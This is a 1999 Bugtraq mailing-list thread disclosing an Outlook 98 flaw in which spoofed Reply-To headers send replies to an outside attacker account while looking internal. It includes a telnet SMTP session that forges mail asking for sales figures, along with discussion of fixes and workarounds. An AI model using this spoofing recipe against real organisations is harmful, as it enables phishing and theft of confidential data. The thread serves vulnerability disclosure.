Date: Tue, 20 Apr 1999 15:10:05 -0700
From: Nate Lawson <nate@root.org>
To: BUGTRAQ@netspace.org
Subject: Outlook 98 allows spoofing internal users
Problem: Outlook uses a sender's Reply-To address silently, allowing
a user to inadvertently send data to an Internet mail account
when intending to reply to an internal, trusted user.
Impact: Anyone on the Internet can spoof a trusted internal Exchange user
and get replies sent back to themself without the user knowing they
weren't responding to another internal user.
How to reproduce:
1. Spoof mail as an internal user with a Reply-To address claiming to be
an internal user, but an address of an Internet account, say hotmail.
2. Go into Outlook and read the mail. The mail looks like it was internally
generated but viewing the full Internet headers under View->Options
shows the bogus Reply-To header.
3. Hit Reply in Outlook. The To: field looks like it's going to a valid
internal user, but right clicking on it and choosing Properties shows
that the internal user it is sending the reply to is actually an Internet
address.
4. Enter some text and hit Send. Observe that the mail went to the attacker's
account, not the internal one.
A quick script:
{root 5:00pm} ~> telnet mail.example.com 25
Trying 10.20.2.5...
Connected to mail.example.com.
Escape character is '^]'.
220 mail.example.com ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2448.0) ready
helo losebag
250 OK
mail from:<>
250 OK - mail from <>
rcpt to:<accounting@example.com>
250 OK - Recipient <accounting@example.com>
data
354 Send data. End with CRLF.CRLF
>From: Nate Lawson
To: Accounting
Reply To: Nate Lawson<intruder@hotmail.com>
Subject: important!
Please reply with the latest copy of our sales figures!
Thanks,
Nate
.
250 OK
quit
221 closing connection
Connection closed by foreign host.
Now, a reply to the email will go not to the trusted internal user Nate
Lawson <nlawson@example.com> but to the attacker, <intruder@hotmail.com>.
Worse, the user sees no indication that the mail is outward-bound! The
To: field on the reply simply shows "Nate Lawson", a valid internal user.
Affected programs: Only tested on Outlook 98
Known use of this bug to get confidential information: none yet
Suggested Fix: always show the full email address of any recipient that is
not local (i.e. username@example.com would be hidden but any instance of
user@hotmail.com would be shown)
Microsoft has been notified, but claimed this was a weakness in SMTP and
would not be fixed until a secure successor to SMTP is implemented. They
obviouly missed the point -- the error is not in that mail can be forged,
but that Outlook allows a user to respond to a message that looks local
and legitimate, but is actually destined for an outside address.
-Nate
-----------------------------------------------------------------------
Date: Sun, 25 Apr 1999 18:36:11 +0200
From: Peter van Dijk <peter@ATTIC.VUURWERK.NL>
To: BUGTRAQ@netspace.org
Subject: Re: Outlook 98 allows spoofing internal users
On Tue, Apr 20, 1999 at 03:10:05PM -0700, Nate Lawson wrote:
>
> Suggested Fix: always show the full email address of any recipient that is
> not local (i.e. username@example.com would be hidden but any instance of
> user@hotmail.com would be shown)
Yeah, like: I am user@aol.com and I'd like outlook to hide evilhacker@aol.com.
Outlook should not be hiding anything..
Greetz, Peter
--
| 'He broke my heart, | Peter van Dijk |
I broke his neck' | peter@attic.vuurwerk.nl |
nognixz - As the sun | Hardbeat@ircnet - #cistron/#linux.nl |
| Hardbeat@undernet - #groningen/#kinkfm/#vdh |
-----------------------------------------------------------------------
Date: Sun, 2 May 1999 21:41:39 +0200
From: Sebastian Schreiber <Sebastian.Schreiber@STUDENT.UNI-TUEBINGEN.DE>
Reply-To: Sebastian.Schreiber@gmx.net
To: BUGTRAQ@netspace.org
Subject: Re: Outlook 98 allows spoofing internal users
Hi Nate,
I was not able to reproduce the exploit that you reported to the
bugtraq mailing list. Outlook98 did exactly what I expected: when I
open the mail, I see the "From:"-header in the message. When I reply
to the email, Outlook takes the "Reply-To:"-address of the
header. Which version of Outlook did you test?
Best Regards, Sebastian
PS: your "quick script" has a little bug: the header entry should be
"Reply-To:" instead of "Reply To:".
--
-- What's a letter? Is it like E-mail? ((o)(o))
|---------------------------------------------------ooOo-( )-oOoo-|
| Sebastian Schreiber, Burgholzweg 36, 72070 Tübingen ( ) |
| Germany, Voice: ++49 (0)7071 49570 ( ) |
| GSM: 0049-173-3502725 (..) |
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Key fingerprint = 3F F5 D5 E0 0A 59 A5 C4 E7 4F 2B EA 7D 83 89 98
-----------------------------------------------------------------------
Date: Wed, 5 May 1999 11:05:03 +1000
From: Toby Chamberlain <toby@PEOPLESEARCH.COM.AU>
To: BUGTRAQ@netspace.org
Subject: Re: Outlook 98 allows spoofing internal users
Howdy,
I _was_ able to reproduce the exploit to great effect... I created a
perl script to automate the process, passed it on to the office clown
and had a great time listening to the varied match-making arrangements
he set up.
The problem seems to be that Outlook (in the default setup) hides the
address part of the reply-to header when using it to create the value to
put in the "To" box of the reply. A reply-to header of "John Smith
<jsmith@work.com.au>" shows up as simply "John Smith" in the "To:" box
when you hit reply... but of course so does "John Smith
<merry_prankster@work.com.au>". The other mail readers I tested it on
(Hotmail and Netscape Messenger) showed the reply-to header in full.
Cheers
Toby
>Hi Nate,
>
>I was not able to reproduce the exploit that you reported to the
>bugtraq mailing list. Outlook98 did exactly what I expected: when I
>open the mail, I see the "From:"-header in the message. When I reply
>to the email, Outlook takes the "Reply-To:"-address of the
>header. Which version of Outlook did you test?
>
>Best Regards, Sebastian
>
>PS: your "quick script" has a little bug: the header entry should be
> "Reply-To:" instead of "Reply To:".
-----------------------------------------------------------------------
Date: Thu, 6 May 1999 11:36:38 -0700
From: Russ Johnson <rjohnson@TRIPWIRESECURITY.COM>
To: BUGTRAQ@netspace.org
Subject: Re: Outlook 98 allows spoofing internal users
I'm sending this from an Outlook 98 client.
If you don't have message quoting on, then you are correct. It's tough to determine where a message is going, whether it's
internal or external.
For instance, when I hit the "Reply to all" button, it includes the following two entries in the To: field:
Toby Chamberlain; BUGTRAQ@NETSPACE.ORG
(I removed Toby from the TO: field, since he should get this in the list)
No mention of Toby's email address. It could be internal or external. I agree that MS should give some indication in the
To: field that this isn't an internal address.
Until such time that MS agrees with us, the simple work around is to make sure to use the "Include Original Message"
option for replies and forwards. (TOOLS>OPTIONS>EMAIL OPTIONS, lower half of dialog.) Then, the original message is
included, with the header outlined below. As you can see, the external email address is there for all to see. Even when
you spoof it as outlined previously. Of course, this leaves open the possibility that users won't edit the "quoted" text
for brevity, and we end up with exponentially growing mail.
It's not the best solution, but MS may choose to not agree with us.
Russ
-----Original Message-----
From: Toby Chamberlain [mailto:toby@PEOPLESEARCH.COM.AU]
Sent: Tuesday, May 04, 1999 6:05 PM
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Outlook 98 allows spoofing internal users